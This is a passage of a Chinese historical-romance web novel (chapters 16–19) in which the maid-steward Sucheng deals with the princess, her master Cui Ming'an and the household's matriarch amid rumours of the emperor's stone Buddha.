她看着自己的手,语气温柔:“既是被逼为匪,却也是不少劫富济贫的义匪,总是要分别看待。王将军手段过于残忍激烈,怕是那些救助百姓的能人们又是少了许多。”
公主扶着头,安静地听着她的话,开口问:“匪还分个三六九等的,真是有趣。”
“若是论贵贱,奴婢不好说。但若是论谁能救活更多的百姓,奴婢不觉得将军与他们相比会如何。”
16. 第 16 章
外面街道嘈杂热闹,酒楼这处却只回荡着素尘略带讽刺的声音。
公主含笑不语,跨坐在窗前的无名公子却带着一丝苦笑。
口出之言大逆不道的素尘也不慌张,这次不等公主示意,自己就拿起一旁的茶壶为自己沏了一杯茶。
“差点忘记问了,这是适才用隔壁茶叶泡的,本宫婢女手艺如何?”
素尘抬手扶住茶杯,轻嗅那馥郁的茶香,嘴角轻轻上扬,借着宽袖的遮掩抿一口茶汤。
等她咽下后,才抬头直直对上殿下的目光:“好茶。”
“噗哈哈哈哈……”她又不知怎么,突然仰头大笑。
素尘无奈。
无名公子从窗框上跳了下来,声音虽中气十足,但里面女声不再掩藏:“别理她。”
她挥挥手,仿佛后悔一般看着素尘:“今天本来没打算带你上来的……我姓王,单名一个曈。”
“可是‘千门万户曈曈日’的‘曈’?”素尘礼貌地询问。
“呃……左边一个日字,右边一个幼童的童。”王曈迟疑了一下,抬手在空中熟练地比划着。
“没看本宫给你的书吧?”公主终于止住了笑意,挑眉转头看着王曈,又和素尘说,“你见过,是我府里的侍卫。”
又轻笑一声补充:“侍卫长。”
素尘听着,了然点头。
“素尘见过王大人。”她起身,向她作辑。
难怪这王曈身手如此了得,又毫不客气地藏在卢公子身后动手脚。
素尘心里暗叹,看来果真是宰相门前三品官。
她动作娴熟,虽姿态恭敬,但也不显丝毫卑怯。
公主让她坐下,继续说:“所以素尘姑娘是见过义匪吗?”
素尘低头微笑,随口说道:“没有啊,不过是幼时来京时道听途说罢了。”
以公主的权势,素尘怎么不知道自己一辈子发生的事怕都是已经被人整理好放到公主府书房里了。
不过她确实没有见过那些义匪,更何况如今她们无非是在揣着明白装糊涂罢了。
“奴婢怎么会和那些个传说中的人物扯上关系?”
虽不知什么原因,对方显然不信,但也不多说,只若有其事地问道:“胆子挺大,既觉得王将军行事残暴,那难道是要官府放过他们?”
素尘手上动作一顿,沉思片刻。
“不,”她抬头,莞尔一笑,“义匪终究是匪,奴婢没有说他们是什么好人。”
“何意?”王曈比公主更想知道她的意思。
素尘看了眼桌上救了她的匕首,才开口:“义匪为匪,劫官劫富,也不利民,反而人心惶惶。需打压。”
她手指点桌,看着公主:“治匪,但也罪不至此。”
王将军本是太原王氏家主一脉的次子,不务正业却自小习武。
前些年带着召令南下治匪,本只是富家子顺理成章那个官职的借口罢了,却一样常态地在南下将水匪抓得彻底,不过半月,便屠了好几伙水匪,缴了数不尽的罪银。
素尘从窗外看去,下面还没上马车的王氏夫妇正皱眉和一个侍卫说话。
她哼笑道:“无论妇孺无辜,一律砍杀。”
“素尘姑娘是觉得……”公主也看着下面,发间步摇被风一吹,发出叮当声。
“奴婢觉得……”素尘嘴角笑意更浓,声音却冷淡厌烦,“暴戾可怖,不输水匪。”
“你不怕本宫让人捉你?如此妄议朝廷重臣!”公主声音骤然冷下。
素尘将手里茶杯往桌上一放,红木与瓷器相触,发出一声闷响:“那殿下便抓吧。”
“你当真不怕?”对面女子微微向她这边俯身,美眸微眯,“不怕砍头?崔明安可护不住你。”
“怕啊。”素尘坦然。
她站起身,走到公主身旁,缓缓跪下。
“但是奴婢妄议的还不止一人,还有卢家公子卢进鳞。”
素尘面上淡然,心里不停地思考着自己手里可以与公主交锋的底牌。
藏于袖中的指尖被抠破,刺痛和湿热触感让她猛然想起了很多事情。
“哦?”公主耸肩,“素尘姑娘这是何意?”
素尘看向她摩挲着桌上匕首的手,不慌不乱地说:“奴婢妄议朝廷重臣,但也会帮公主殿下多瞒一个秘密。”
“你到底是怎么想的?”公主觉得好笑,“罢了罢了,就是找你聊会天。”
“素尘也并无恶意,只是面见公主殿下,心里难免紧张,多说了几句话。”素尘知道她的意思,却也不多说。
她转身准备离开,但被后面公主叫住:“本宫还想问你一件事。”
染着丹蔻的指尖伸出,指着她腰间的香囊。
“为何只给那小孩一枚铜板?”公主歪头,满脸不解,“一枚馒头怕是一个馒头都买不起。崔府施粥捐银可是出了名的慷慨,如今怎么堂堂管事只拿了一枚铜板?和你们崔家人行事不符啊。”
听了她的话,素尘狡黠一笑:“因为奴婢比较抠门。”
王曈见公主吃瘪,哈哈大笑:“我送她下去,您也早些回府吧。”
公主无奈的扶额,挥挥手,让她们离开。
素尘跟着王曈姑娘从另一处隐蔽的楼梯下去了,只是在最后从侧门出楼时,回头看了这酒楼一眼。
纸醉金迷,满楼权贵。
她向王曈行礼道别,便抬步离开。
身后王曈想起了什么,提醒了一句:“对了!殿下说送你一个礼。”
“什么?”
王曈形容了一下自己找到的小孩,说:“那小孩会告诉你一个有趣的秘密。”
素尘看着她比划的身高,几乎是一瞬间想起今早见到的乞儿。
她转身想向茶楼掌柜告诉的那乞儿多聚的地方。
结果还没走几步就在茶楼侧边小巷看见了那个小乞丐,他抬头看见她时眼睛一亮。
“小姐!”他四处看了一眼,才鬼祟模样地走过来。
见他走近,素尘回头看了眼酒楼顶层厢房,果真那雍容如神妃般的女子坐在那处看着她。
目光对视,对方娇笑一声,俯身瘫在窗边木栏上,向她挥挥手。
“小姐,这是一个公子让我带给你的。”那乞儿只到她腰间,瘦弱的小手从衣领里拿出一个折好的纸条。
既是公子,素尘了然,估计就是王曈所给。
她本想接过那纸条,却看那拿着纸条的小手一抖。
“怎么……”
“小子手脏,怕是污了小姐的手。”那乞儿声音不安。
素尘直接拿过那纸条,又伸手摸了摸他不知多久未洗的头:“我又不是什么小姐。
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”
她打开那张纸条,神色一变。
上面写着几个小字——“帝建石佛,自立为佛”
她猛地看向城南那尊巨佛,那被建筑遮挡住的身体露出肩部和缺失的佛头处。
在太阳高照下,素尘又一次地感觉那空缺的佛头果真有几分可怖。
“最近城南……”她蹲身,与那乞儿平视,“可有什么热闹事?”
他瘦得早已脱相,但眼睛却依旧明亮有神,殷勤地说:“城南从外面运了一颗大石头进来,住那里的婆婆骂了许久呢。”
“石头?是什么模样的?”
那小孩摇头:“不知,上边遮了好大块布。”
素尘垂眉不再多说,但她身后冷汗愈发直流。
“小姐?”
孩童的声音把她从沉思中拉回,那些隐晦不安的疑虑被那孩子懵懂的眸子一瞧,竟让她心里一乱。
“没事,你近来不要去城南凑热闹……”她忽的一顿,回头看着楼上已经关上的窗。
“那位公子也是这么说的诶。”小孩眨眨眼,仿佛觉得很有趣,“还叫我后面饿了就可以来酒楼后巷,有人会给我拿包子吃。”
听着这话,素尘嘱咐一句:“一定要在那里悄悄吃完再出去。”
小孩笑道:“当然,我又不笨。”
一大一小相视一笑。
素尘起身,拍拍自己有些酸麻的腿,打算离开。
“小姐……我能活下去吗?”乞儿问她,他的眼神里尽是信任。
素尘低着头看他,笑着说:“总会活下来的。”
她抬步离开,看着前面已经等候已久的马车,快步走过去。
那马夫看了眼她来的方向,低头扶着她上车。
“姑娘,公子吩咐近来京城流民众多,最好不要随意走动。”他终究还是没忍住,小声说。
素尘笑着回他:“不过是在休息了下,从侧门出来罢了。”
那车夫没再多说,只一挥马鞭,驾着车回府。
她这次不再掀帘看街道,只静静地闭上眼睛坐在车里。
这一次,回府的路感觉格外短,她还没把思绪整理好便停了车。
“崔大人!”外面的喊叫声惊了她一下。
她小声问马夫:“外面是什么情况?”
马夫低声说:“有几个穷酸书生不知为何来这里闹腾。”
“为何?”
没有等到回答,只感受到马车又开始摇摇晃晃地前进起来。
“文竹今日出发前和我说过,若是前门出了事,便从侧门进来。”马夫勒着马绳,尽量让马车的动静变小,显得他们只是路过。
“管事应当……”
“姑娘,别为难小人了。”
素尘哑然。
“公子的意思就是让您避开这事。”马夫是个粗犷的汉子,但对给他一份工作的素尘一向温和,“您不可能听不懂。”
他将车驶到侧门,小心地扶她出来。
看着她,马夫还是将心里话说了出来:“姑娘,今日您的事,我不会和公子说。”
素尘脚步停住了,转身看着他,眼里是让人安心的笑意:“今日?不过是去对面酒楼看了看罢了。”
侧门被人从里侧慢慢推开,里面站着的文竹站在台阶上,和她说:“公子等着呢。”
17. 第 17 章
“无知小儿罢了!”
比素尘先推开院门的是崔府旁系叔父,他看了素尘一眼,仿佛找到了发泄口一般冷冷哼了一声。
素尘低头行礼。
本以为能借机出气的男人感觉自己一拳打在棉花上,怒意更甚。
“一丘之貉!”男人拂袖离去。
他锦鞋步步踏在青石板上,声声作响。
素尘侧头目送他背影离开,看着虽私下德行有缺,但面上一向威严庄重的崔家叔父一脚将院外的花盆踹翻。
“……”一想到等会还得走一趟让库房过来换盆新的,她眼里的嫌弃很难遮掩。
“进来吧。”院里崔明安站在梅树下,向她招手。
出门一趟,素尘没有忘记他今早化身财神的模样,遂这位虔诚的信徒眼睛贼溜溜一转,眼里的嫌弃劲马上消了下去,转而涌上了殷勤情绪。
“公子……”她走上前,自然地蹲下身捡起地上的纸张,看也不看一眼就将这些布满墨迹的纸张整理成一沓,“这些是放回书房吗?”
崔明安不急着回话,手里把玩着什么东西,不住地发出珠玉触碰的叮当声。天色已经有些要昏暗下去的迹象,他又着一身玄色衣裳,要不是这是他自己院子,素尘都要怀疑这个不开口说话的黑衣男子怕不是什么潜入崔府的贼人。
叮当声愈发响亮,像是在引诱素尘过来一探究竟。
但一向知礼守礼的素尘秉着不懂主子意思就不要多问的原则直直地捧着那沓纸站在原处等待吩咐。
两人之间的僵持首先是叫人打扫好院外碎片的文竹来打破,他进来看着这一幕,及其刻意地问了一句:“素尘姑娘,你会解九连环吗?”
他的话奇怪,素尘回头上下打量他好一会,两人交换了下眼神,最后素尘眉毛疑惑地挑了下,文竹眨眼。
素尘向前走了一步,看到崔大人手里捣鼓已久的九连环。
“公子解开了诶!好厉害!”她眼神真诚,但语气浮夸至极。
崔明安垂眸,薄唇未动,分明是想说些什么,但最后化作一声略显无奈的笑:“今日皇孙拿过来的,好似是公主殿下要他来问我崔府可有能人能解。”
他递给素尘,眼里没有任何情绪和怀疑。
素尘听到“公主殿下”的名字时,心里猛得一跳。她反复确认崔明安确实没有其他深意,似是只是单纯拿来问问。
她接过那个光是看着就价值不菲的九连环,虽是初春,这制九连环所用的玉料却是摸着温热润滑,甚至那镶着的金环都仔细地磨得水光平滑。
“奴婢愚笨,怕是解不开。”素尘试着转动那些个圆环,但怎么都刚好卡在一起。
崔明安离她只有一步远,看着她身上袄子被风轻轻吹得鼓起,他悄无声息地挪动一步,为她挡住了呼啸的寒风。
“天色开始暗了,进屋取暖吧。”
崔明安的嗓音和她手里清脆珠玉声巧妙地融合在一起,素尘抬头:“啊?好。”
一阵寒风从文竹还未关紧的院门里吹来,她肩上的墨发滑过崔明安的胸膛,与他发尾玉珠缠绕在一起。
“嘶——”崔明安眼尖,感觉扶住她的肩头阻拦她想向前走的动作,却被她下意识回身一击。
等素尘看清楚情况后,眼里防备迅速退散,慌忙地想跪下赔罪。
"啊……"崔明安怕她扯到头发,忙想阻止她,没成想自己先感觉头皮一痛。
素尘抬头,看见公子抓着她的头发,上边扯下的珠玉上分明缠绕着他自己的几根发丝。
刚关好门的文竹看着这一幕,目瞪口呆地开口问:“您没事吧?”
向来泰山崩之前而色不变崔明安吃痛地皱着眉,听到这句话后冷冷地看了他一眼:“这几日你和云竹每日对练。”
刚从府外翻墙回来的云竹坐在墙头,听到了这一场无妄之灾。
“……”
素尘哪里还管文竹二人的死活,只一心猜测着刚刚到底发生了什么,她一边护着那不知价值几何的九连环,一边跪下哆嗦:“公子恕罪。”
不知怎变成如此状况的崔明安重重地呼吸好几口,才垂眸看着瑟瑟发抖的女子:“起来吧,何罪之有?”
他的语气分明就是有心事,立马听出来的素尘更不敢起身,她双手捧着九连环,以头触地:“奴婢无知,不知如何解。”
“起身吧,”崔明安不知她怎么忽然执拗不起,只好把自己本意说出:“本就是拿回来给你解闷的玩意,你拿着慢慢玩就好了。”
素尘想到这九连环不论贵重与否,光是来历就让她无福消受。
本朝唯一的皇孙所赠,又有嫡公主华宁殿下掺和一脚,都是不好惹的角色啊。
她不肯起身:“九连环贵重,素尘不敢。”
这次怕是真心不敢收,崔明安不想继续僵持,只好退让一步:“那你放到书房吧,偶尔过来学着解。”
“好。”素尘这才起身。
“你先进书房,我还有事。”
她小心地将这棘手的宝贝捧进书房,等她终于把它好生放在锦盒里后,才松了口气。
素尘低头看着这精致的九连环,不住地回想起白日与公主殿下的对话。
她想不到公主今日所做所言的目的,怕不可能只是为了和她聊会天。
素尘目光在书房扫了好一圈,忽的看到了刚刚被自己顺手一起拿进来的那沓纸。
崔府叔父适才一脸气恼的模样分明就是因为这纸上之物而起,她拾起时虽刻意避嫌错开视线,但那争气的好记性却立马在脑子里刻下余光看到的那几个小字。
“石佛”“陛下”……
她心里蠢蠢欲动,心里已有几分猜测。
公主的所求估计也在这书房里,不然何必在她身上如此费力。
无论心里好奇与否,她终究心里清醒知道一件事——好奇心害死猫。
她手还未伸出,便克制地收了回来。
“等久了吧?”崔明安和文竹二人不知聊了什么,这时才推门进来。
她心里被吓了一跳,但面上一点都未露出异常,只是在看到崔明安的一瞬突然觉得有些心虚。
“今日听闻你出门了?”崔明安走到桌案前稳稳坐下,拿起锦盒里的九连环随意地摆弄着,“你身体尚未养好,还是少出门为好。”
他手指修长白皙,在他指尖碧色玉环显得颜色愈发纯粹惹眼。
素尘强收回自己难以控制的目光,低声
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回复:“奴婢已经好多了,去商铺对几本账还是应付得了。”
“茶楼可是有问题?”崔明安心里回忆着这间铺子的情况,却实在想不起掌柜的模样。
素尘摇头,面上笑容不变:“今日没找到账本,怕是后面还得再去看看才可确定。”
她盘算着这次情况,决定先不把自己的猜测全部说出来,不然万一那掌柜的狗急跳墙对自己也不好。
已经想好说辞,但坐着的崔公子却不再问茶楼情况,转而好奇她今日的行程:“你今日怎突然去醉仙楼里吃酒了?”
素尘早就知道今日酒楼一行怕是瞒不住他,只半真半假地说:“早就听闻醉仙楼里美食云集,今日便带着茶楼的茶去里面细细品尝了。”
“你没有被外面不讲理之人缠上便好。”
崔明安此话一出,吓得素尘又故作镇定地重新看了他一眼,他看起来真的不知道今日酒楼具体情况。
莫非是在试探她?
她心里心虚,怎觉得自己在背着公子与公主在酒楼里私会?
“公子说笑。”她把自己脑里乱七八糟的东西赶了出去,熟练地将这话四两拨千斤地推了回去,“倒是今日茶楼门外多了些乞儿,奴婢便给了些茶点。”
崔明安沉思,眼神停留桌上那些让崔府叔父震怒的东西上,遂摆手让她先下去。
素尘松口气,低头行礼退了出去。
坐在书房里的崔明安将手里的九连环放进那锦盒里,略有些挫败地闭上眸子。
心里门清的文竹上前劝慰:“怕是这九连环太过贵重,素尘姑娘确实不敢收。”
崔明安睁开眼睛,尽是疑惑。
他之前分明也是拿着这些玩意哄好崔明锦的,怎到了素尘这里却不适用了呢?
云竹没眼力见地问住了崔明安:“但是为何突然要送素尘这个?”
崔明安一顿,他确实不知道为什么,就是觉得这次素尘受伤一事需要和她道歉。
云竹再次疑惑地发问:“没听她说过喜欢九连环诶?”
他的话再次让崔明安沉默了一会。
文竹赶忙踢了他一脚:“公子做事,你插什么嘴?”
云竹忽然被他踢了一脚,下意识地勾腿把他绊倒在地上。文竹猜到他有此一脚,便立马拉住他的胳膊,站稳身子。
两人谁也不输谁,竟直接保持着这缠绵的姿态立在这里。
崔明安心里虽回答不上来云竹的两个问题,但迅速找到自己做这些的理由——帮崔明锦这个无礼的家伙道歉,也不寒她为崔府做事多年的心。
想明白自己所做的理由后,他开心地抬头欣赏着身边这两个侍卫的打斗。
两人动静极小,没什么大动作。但就算如此纠缠着,文竹还是慢慢落入劣势。
他感觉自己腰间被云竹一撞,吃痛地哼叫了一声。
云竹看他服气才慢慢放手。
崔明安看着他们两人的闹剧,本来嘴角还噙着笑,但又忽然想到素尘房里所带首饰恐怕大数都是他们两人所赠。
他嘴角弧度又渐渐变得平缓,把手边那沓纸扔给云竹::“既是已经决出胜负,那文竹这几日便多出府做些事吧。”
文竹哀嚎。
18. 第 18 章
初春夜色降临之后,本就寒意未减,夜里一阵阵北风吹过时,院里挂着的银铃叮叮作响。
坐在屋里梳头的素尘心里烦闷,听着这声音更加思绪乱如麻,她起身将梳妆台前的木窗推开,想狠狠地瞪了一眼那恼人的银铃。
但还未等她全部推开,寒风就顺着这窗缝钻了进来,呼呼作响,听着比外边的银铃声还恼人。
素尘赶紧把手往回拉,将那窗关得严严实实的。
她低头看向铜镜里的自己,本来已经梳整好的头发又被吹得凌乱不堪。
“啊啊啊!”她双手捂头,倒在桌上崩溃地低声怒喊。
声音不大,离她屋子有些距离的主厢房更是不会听见,但在院子里传来脚步声和交谈声时,她还是立马住了嘴。
今夜不用她去主厢房为公子更衣守夜,文竹云竹二人怕是现在还坐在院子里聊天呢。
外面声音逐渐靠近,素尘连忙躬下身子去桌前把烛灯吹灭。
窗户上梳整的身影不见了,里边的灯火更是马上灭了。
大半夜拿着木梯往这边走的两人对视一眼,都打消了想去找素尘聊会天的念头。
“动作快点吧,既然素尘都睡下了,咱们也快点把这银铃堵上好回去睡觉……”文竹话说到一半,突然幸灾乐祸地贼笑两声,“哎呀,差点忘了,今夜是你守夜。”
云竹懒得理他,这人仗着自己脑子转的快,场面话说得好听,天天陪着公子出门,也被人尊称一声“文竹先生”。
他看着面前这副小人得意模样的人,一点也找不出外面传闻里的书生模样。
文竹一看他的表情就知道这闷葫芦在想什么,将面上吊儿郎当的笑意一收,做作地向他作揖:“如何?”
云竹懒得理他,拿起木梯向前走:“像小白脸。”
听着这话,文竹也不生气,只摸着自己俊朗的脸笑嘻嘻道:“你别说,上次公子让我去南城门查探情况的时候,有好几个夫人直直对着我脸红呢。”
他们的话絮絮叨叨,无非是文竹一个人在那里讲些不着边际的话。
屋里披着毯子坐在床边的素尘看着他们映在纱窗上的身影登上梯子,把她屋前叮当作响的银铃用棉花堵住。
铃声消失了,外面的交谈声更是明显。
素尘听到城南一事时就竖起耳朵仔细听着,手下意识地搅着毯子。
“话说宫里那位真狠啊,为了运个佛头进来竟然把南城门卸了下来,更是把那附近的民宅拆了大半……”文竹的声音随着离开的脚步,渐渐降低。
虽不知他今日为何如此多话,但屋里的素尘需要想得就更多了。
“帝建石佛,自立为佛”——乞儿手里那纸条上这八个字让她心里愈发不安。
公主费这么大劲让她知晓这件事,又引诱她掺和进城南骚乱里。
素尘感觉屋子里比先前还要凉,她伸手去摸床边暖箱,果然里边的炭火早就灭得干净。
若是要添,怕是要麻烦一阵。
脑子里得思绪愈发理不清,她摇摇头,把身子往回缩。
“明日再说。”
她闭上眸子。
一夜无梦。
她再次睁开眼睛,窗上已经透出丝丝暮光。
外面长剑破空声响起,和重新响起的银铃声一同传进素尘的屋子里。
素尘扶着额起身,披上一件外衣去桌前倒水,一饮而尽。
过了夜,早已放凉的清水入了肚,素尘才终于清醒过来。
她听着外面的动静,动作迅速地穿好衣裳,随意束起头发便推门出去。
院里正舞剑的二人看见她,都停下了动作向她挥手:“早上好!”
素尘双手交叠,向他们轻轻屈膝行礼。
“可是没睡好?”站在一旁用锦帕擦拭剑身的崔明安没有抬头,只悠悠问了一句。
素尘奇怪地看着他,还是得体地温声回复:“倒也不是,公子怎么突然这么问?”
没有得到回复,只见他将锦帕放于石座上,慢慢向正在舞剑的两人走去。
云竹文竹两人将剑锋一转,直直向他刺来。
崔明安侧身,从两剑之间穿了过去。
不等他们回身劈剑,崔明安便直接抬腿踹了他们屁股一脚,惊得他们一踉跄。
“加训一日。”他手里长剑尚未露出锋芒,面上淡淡地宣布。
两人听了这一噩耗,马上转身认真地向他攻去。
云竹将剑一横,向前扫去,长剑如游龙般微微抖动,却又在那一刹那,剑身上映着日出的红光,嗤地一声向上撩剑。
而旁边的文竹则将手里长剑收了起来,脚步在地面微点,绕到崔明安身后,趁着云竹挥剑的那一刹那,劈剑断了崔明安退后的路。
崔明安高高束起的墨发被剑风吹起,他稍微退后一步。
素尘以为他没有察觉到身后的文竹,惊得张开口。
一直没有看过来的崔公子忽然目光往她这处一送,满意地笑了笑。
他直接轻盈一跳,直接停在文竹点地的长剑上。
文竹看着自己被微微压弯的爱剑,心疼地向上猛地挑起。
崔明安借着力翻身给他们两人一人一脚。
“再加两日。”
文竹二人都是时刻护卫在他左右的,身手更是不必多言。
多日不曾交手,他们两人在一开始就一直慢了崔明安一拍,自然一步慢,步步慢。
崔明安闲庭兴步般在两人之间游走,看他剑刃之中刚中带柔,广袖一挥,剑花飞扬。
素尘看得忍不住拍手叫好。
听了她的掌声,崔明安头转向她,带着墨发在身边飞舞成圈,他记得她向来喜欢看的剑式,趁着二人坐在一旁休息,左手作剑指,右手剑尖向上一挑,在梅枝间一刺,竟摘了朵完整的梅花向素尘这处扔来。
素尘举手,轻轻接过那梅,
眉眼弯弯,被逗得轻笑不止。
崔明安动作终于停了下来,走到剑架前收剑。
素尘将那梅往身后房里一放,便快步走到他身旁,拿过自己备好的帕子为他擦拭额间薄汗。
崔明安摆手:“要更衣上朝了。”
“照常备了热水,奴婢为公子更衣。”素尘声音温柔,低垂着的眸子里虽疲惫但适才愉悦之色不减。
她知晓院里虽有身份之差,但公子对他们三人素来恩重如山,宽厚待人。
公主话里暗示,她大概听出几分,但她又怎么能背叛公子呢?
她收回心思,为他洗漱更衣。
崔明安年纪轻轻,便官拜二品,素尘捧过他官服腰间玉带,为他仔细穿戴好。
官服着身,玉
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带缠腰,他本就俊美倜傥的模样更是衬得风姿绰约。
他看着去拿自己官帽的素尘,沉思片刻后嘱咐:“近日城里动荡,尽量少出府。”
他的话传到素尘耳里,让她忍不住问:“是因为城南石佛一事吗?”
崔明安的沉默印证了她心中猜测。
她手上乌纱帽柔软,但不管她捧多少次,都觉得手里沉甸异常。
因为她知道公子之职,满朝清明皆系于他身。
她小心翼翼地捧着这乌纱帽走到公子身旁,因着身高差异,向来是公子自己穿戴。
抬头看着风度翩然的崔公子……崔大人,他察觉到她的目光,低头对她一笑:“怎么了?”
似是误会了她的呆愣,他眼神带着安抚,缓缓开口:“虽偶有人来叨扰,但此事与府里无关,你打发了便是。”
他话向来是如此温柔轻松,给人一种安心的感觉。
但素尘今早本安定下的心底却因这句话砸起一阵水花。
她呆滞地看着眼前的御史大夫,心里乱如麻,但面上很快就恢复如常。
她跟着崔明安一路到了府门,目送他上马出府。
崔明安的身影消失在她的目光里,她转身回了院里。
文竹云竹陪着崔明安上朝,等候于宫门外。
如今这本来就清冷的公子院里,独留她一人游逛。
她先是回了房,对镜重新梳妆打扮了一番,再次推开门,便又是往日得体温婉的掌家姑娘,
头上银簪上坠着的银铃兰花随着她跨过书房的门栏轻轻晃动,仿佛一朵朵真的被风吹过的铃兰花。
但人比花娇的素尘面上却凝重不安,她借着整理字画的由头进书房,心里终究放不下昨日那些墨迹。
想得到什么答案,她清楚自己也不知道。
但如果现在不弄清楚究竟发生了何事就这么稀里糊涂地过下去,她也做不到。
无论结果如何,她也一定要做出真正属于她自己的决定。
她在书房里慢慢走着,却没在平日放重要之物的书架上看见自己想要之物。
她继续往前走,穿过兰竹刺绣屏风,看着公子的桌案,上面的那沓纸就这么大咧咧地放在上面。
她的眸子微闪,似是对如此顺利有些不可置信。
但她还是走上前去,跪坐在桌案前,低头翻阅。
上面的事果然是关于城南混乱一事,却没有什么和崔府相关之事。
无非是一些各官得知之后,私下通信里的抱怨罢了。
她心里那根绷紧的弦松了一松,却在最后又紧了起来。
不可能完全置身事外,但无论她如何反复查看,都只字未提崔府。
崔叔父不可能因着这事闯进来与崔明安争吵。
上面写的尽是陛下如何不妥,却丝毫未提百姓如何。
一无所获。
她将手里纸张重新整理好,放回原本位置。
公主飒爽的笑声反复在她耳边响起。
素尘抬腿出了书房,看着外面晴朗的天空,也试着像公主那样仰头笑了笑。
却始终有些变扭,按着京中淑女记忆学了这么多年,如今还真有些不理解这位奇怪的贵女。
“我相信的是我自己罢了。”素尘把本来不甚真心的笑容一收,终于觉得自在了些。
19. 第 19 章
崔府永慈居里,檀香阵阵,被众多侍女嬷嬷围在软椅上的崔老夫人平和地看着地上跪着的女子。
养尊处优的老夫人手上佛珠悠悠转着:“既是伤得重,就该好好在屋里养着。怎么没过几天就又开始出府了?”
素尘故作乖巧地垂着头说:“素尘身上闲不住,身子好了,就想帮府里做些事。”
崔老夫人没有搭话,也没有让她起来。
素尘就这样跪在地上,等候着上位者高抬贵手,
但老夫人只是闭上眼睛,好似房间里没有她这个人一般。
房里地上都铺上了地毯,地龙烘暖了地板,素尘这么跪着其实并没有不舒服,只是她实在想不明白这次是为何为难自己。
她抬头,想从老夫人的神情上看出些提示,但这位虽坐于后宅却得了两朝皇帝的免跪殊荣的贵妇人面上没有丝毫破绽。
养尊处优的脸上虽布满了皱纹,却是一副慈悲模样。
她看不出老夫人的意图,只能转而看向老夫人身边的奴仆们。
她们每个人都毕恭毕敬地做着手里的物什,连看都不看她一眼。
沸水滚着茶叶子不断发出咕咕声,素尘低着头等着上面的老夫人发话。
“今日叫你过来不过是想找你说话解闷,起来吧。”崔老夫人开口,手里拈着的杯盖划着杯壁。
素尘起身,拱手躬身。
崔老夫人语气里不乏笑意,似是话家常般饮了口茶水才继续说话:“公子院里只有你一个婢子,又要管理府内各事,确实疲累。”
“不累的,能为府里做事是素尘的福气。”
“你是鹤珍带回来的,我自然知道你是知恩图报的好孩子,”崔老夫人转头看了眼旁边的琳姑娘,眼里没了笑意,“鹤珍也是个和善的人,待你如亲妹一般……”
素尘心里一跳,赶忙跪下:“奴婢不敢!”
“不要如此慌张,倒像是老身说了什么似的,”她挥手,让琳姑娘把素尘强扶了起来,“明锦那处得了明安的首饰,你屋里想必也会多个锦盒吧?你年纪轻,又如花似玉的,自然是让人想多关爱几分的。”
不等素尘开口,老夫人抬手让先别说话。
在老夫人身后站着的老嬷嬷走上前,眼里浸着防备。
她是老夫人派到崔明锦身边的教养嬷嬷。
早在崔明锦的抱怨里知晓她的手段,素尘面上保持着慌张模样,心里暗自猜测。
怕是为了她今早去小姐院里一事。
果真如她所想,那嬷嬷把早在心里和嘴上怕是回转了不知几次的话说了出来:“明锦小姐心思单纯,怕是已经不顾主仆之分,视姑娘为姊妹了。”
“……”素尘保持着沉默,等着她把话说出来。
“如今素尘姑娘保护小姐有功,身受重伤。小姐心中挂念,也希望您自己心里多掂量掂量自己的身份之后再去劝慰一下小姐吧。免得像今早一般挟着自己还未养好的伤去叨扰小姐。”
话说得无情,不愧是崔明锦每日害怕的教养嬷嬷。
可素尘仔细想想,却怎么也想不出今日自己不过是听闻崔小姐受惊,便代表公子去探望一下。
自己甚至连门都没有进去,悦姑娘在门口上下打量自己一番便谢了好意关上门了,
崔老夫人听见嬷嬷这话,不忍心地开口解围:“过分了,素尘自知道分寸。”
红脸和白脸一起唱,戏台简陋,腔调敷衍。
但她们愿意给她唱这出红白脸,已经是给了她天大的面子了,不然……一个不知分寸的婢子罢了,发卖了便是。
自幼懂得察言观色如素尘,自然此时低头喏喏回复:“天地可鉴,素尘绝无二心,自知身份低微,对崔府更是感恩戴德。”
老夫人挥手,让她下去。
临出门时,嘱咐一声:“进来鹤珍在官场上多有烦心事,你自应多多关注些,而后新妇上门,你作为管事也轻松些。”
满京只有她一个女管事,自然对崔明安娶妻一事多有影响。
素尘转身向老夫人屈膝行礼,便出了这永慈居。
崔明锦是已故老爷在出征北上之时千里托孤送到尚在太原本家的老夫人怀里的,比起崔明安这位自幼便是被京中老家主培养的继承者,她怕才是如今崔府的真正明珠。
怕崔明锦愧疚,便让她亲自去劝慰小姐,尽管这次确实是因崔明锦而受的无妄之灾。
素尘看着府里各个路过永慈居外皆低头屏声,好似头上悬着柄利剑。
她抬头,却只看到被屋檐墙角框起的蓝天。
连只路过的鸟都没有。
素尘摇头轻笑,笑自己疑神疑鬼。
她向来谨慎,近来进了宫,公主也向她有意无意地伸出橄榄枝,确实得意忘形了些。
本该把今日所有人的这些心思全都顾及到的。
忽的觉得为了遮住脖间青紫的立领盘扣勒得她有些喘不过气。
近来会试将近,满京考生贵子只待中榜,后面崔府要赴之宴怕是只多不少。
素尘整理了心情,往库房走去。
开年之初那些礼品册子早就被她整理好了,如今也只是要去确认一下府里库房把东西准备好了没。
“卢府……”她看着册子里明确标出的姓氏,想起那位卢家公子,她转头吩咐跟在后面的库管:“若是卢公子中前三元便来公子这里再加些。”
卢公子入京不久,那满腹经纶怕是传遍了各个角落。
素尘心里记着待到了晚上还要请示公子添些什么贺礼。
库房外响起女子带着些急恼的声音:“姨娘身子不适,府医让我再来拿些补品。”
“最近府里要补品的主子多了许多,怕是姨娘的份得等过段时间采买。”
素尘听着争执声,把手里册子放回库管抱着的那沓册子上。
“发生何事了?”女子掀开库房的竹帘,看向外面吵闹的两人。
一个家丁挡在门口,听到素尘的声音时肉眼可见的心虚了几分,但又马上抢着说:“徐姨娘又来拿补品了,但府里已经把她先前所需的都送去了,如今忽然再来要,一时间咱们也腾不出来。”
那婢女瞧着面容温柔,但性子却泼辣,一听这话,顿时叉着腰瞪眼看他:“分明是你们忘了府医先生的嘱咐!咱们姨娘身体状况可是在这次采买之前就和你们说了,可是你们还是照着先前那药单买!”
两人各有各的说辞,素尘面上保持着体贴的笑意,听了他们的话,心底也有了几分打算。
“虽库房药
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材是按时去采买,但每月一定是多的吧?”素尘看着那位家丁,耐心地问,“而且咱们库房里还有挺多补药……”
那家丁听着这话,看向她身后的库管,得了暗示后又梗着脖子说:“姑娘有所不知,自祈福那日变故,府里用药处多多了,尤其是补品这块,您屋里,小姐院里……也只是刚刚好够。”
他刻意暗示着素尘近日所用之药,每日送去公子院子里的药,几乎都是上好的东西。
公主府里女医用药就是舍得。
